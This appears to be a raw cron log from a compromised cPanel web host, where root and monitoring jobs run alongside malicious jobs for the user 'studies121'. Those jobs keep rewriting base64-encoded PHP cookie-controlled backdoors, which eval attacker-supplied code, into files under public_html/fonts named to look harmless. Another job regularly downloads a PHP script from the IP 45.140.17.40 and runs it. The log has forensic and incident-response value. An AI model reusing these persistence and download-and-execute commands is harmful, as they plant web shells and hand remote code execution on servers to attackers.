Sep 22 05:27:01 ip-184-168-122-23 CROND[26472]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:27:01 ip-184-168-122-23 CROND[26473]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:27:01 ip-184-168-122-23 CROND[26475]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:28:01 ip-184-168-122-23 CROND[26622]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:28:01 ip-184-168-122-23 CROND[26624]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:28:01 ip-184-168-122-23 CROND[26629]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:28:01 ip-184-168-122-23 CROND[26627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:28:01 ip-184-168-122-23 CROND[26626]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:29:01 ip-184-168-122-23 CROND[26745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:29:01 ip-184-168-122-23 CROND[26746]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:29:01 ip-184-168-122-23 CROND[26748]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:29:01 ip-184-168-122-23 CROND[26750]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:30:01 ip-184-168-122-23 CROND[26881]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep 22 05:30:01 ip-184-168-122-23 CROND[26882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:30:01 ip-184-168-122-23 CROND[26885]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 05:30:01 ip-184-168-122-23 CROND[26888]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 05:30:01 ip-184-168-122-23 CROND[26890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:30:01 ip-184-168-122-23 CROND[26886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:30:01 ip-184-168-122-23 CROND[26887]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:30:01 ip-184-168-122-23 CROND[26889]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 05:30:01 ip-184-168-122-23 CROND[26891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:31:01 ip-184-168-122-23 CROND[27023]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:31:01 ip-184-168-122-23 CROND[27025]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:31:01 ip-184-168-122-23 CROND[27026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:31:01 ip-184-168-122-23 CROND[27028]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 05:31:01 ip-184-168-122-23 CROND[27027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:32:01 ip-184-168-122-23 CROND[27153]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:32:01 ip-184-168-122-23 CROND[27155]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:32:01 ip-184-168-122-23 CROND[27156]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:32:01 ip-184-168-122-23 CROND[27157]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:32:01 ip-184-168-122-23 CROND[27160]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:33:01 ip-184-168-122-23 CROND[27266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:33:01 ip-184-168-122-23 CROND[27267]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:33:01 ip-184-168-122-23 CROND[27269]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:33:01 ip-184-168-122-23 CROND[27272]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:34:01 ip-184-168-122-23 CROND[27382]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:34:01 ip-184-168-122-23 CROND[27383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:34:01 ip-184-168-122-23 CROND[27384]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:34:01 ip-184-168-122-23 CROND[27386]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:34:01 ip-184-168-122-23 CROND[27388]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:35:01 ip-184-168-122-23 CROND[27625]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 05:35:01 ip-184-168-122-23 CROND[27627]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 05:35:01 ip-184-168-122-23 CROND[27628]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:35:01 ip-184-168-122-23 CROND[27630]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:35:01 ip-184-168-122-23 CROND[27631]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 22 05:35:01 ip-184-168-122-23 CROND[27632]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:35:01 ip-184-168-122-23 CROND[27634]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 05:35:01 ip-184-168-122-23 CROND[27633]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:36:01 ip-184-168-122-23 CROND[27782]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:36:01 ip-184-168-122-23 CROND[27785]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:36:01 ip-184-168-122-23 CROND[27786]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:36:01 ip-184-168-122-23 CROND[27787]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:36:01 ip-184-168-122-23 CROND[27784]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:37:01 ip-184-168-122-23 CROND[27909]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:37:01 ip-184-168-122-23 CROND[27912]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:37:01 ip-184-168-122-23 CROND[27913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:37:01 ip-184-168-122-23 CROND[27911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:38:01 ip-184-168-122-23 CROND[28015]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 05:38:01 ip-184-168-122-23 CROND[28017]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:38:01 ip-184-168-122-23 CROND[28016]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 05:38:01 ip-184-168-122-23 CROND[28019]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 05:38:01 ip-184-168-122-23 CROND[28018]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 05:39:01 ip-184-168-122-23 CROND[28146]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 05:39:01 ip-184-168-122-23 CROND[28147]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 22 05:39:01 ip-184-168-122-23 CROND[28149]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
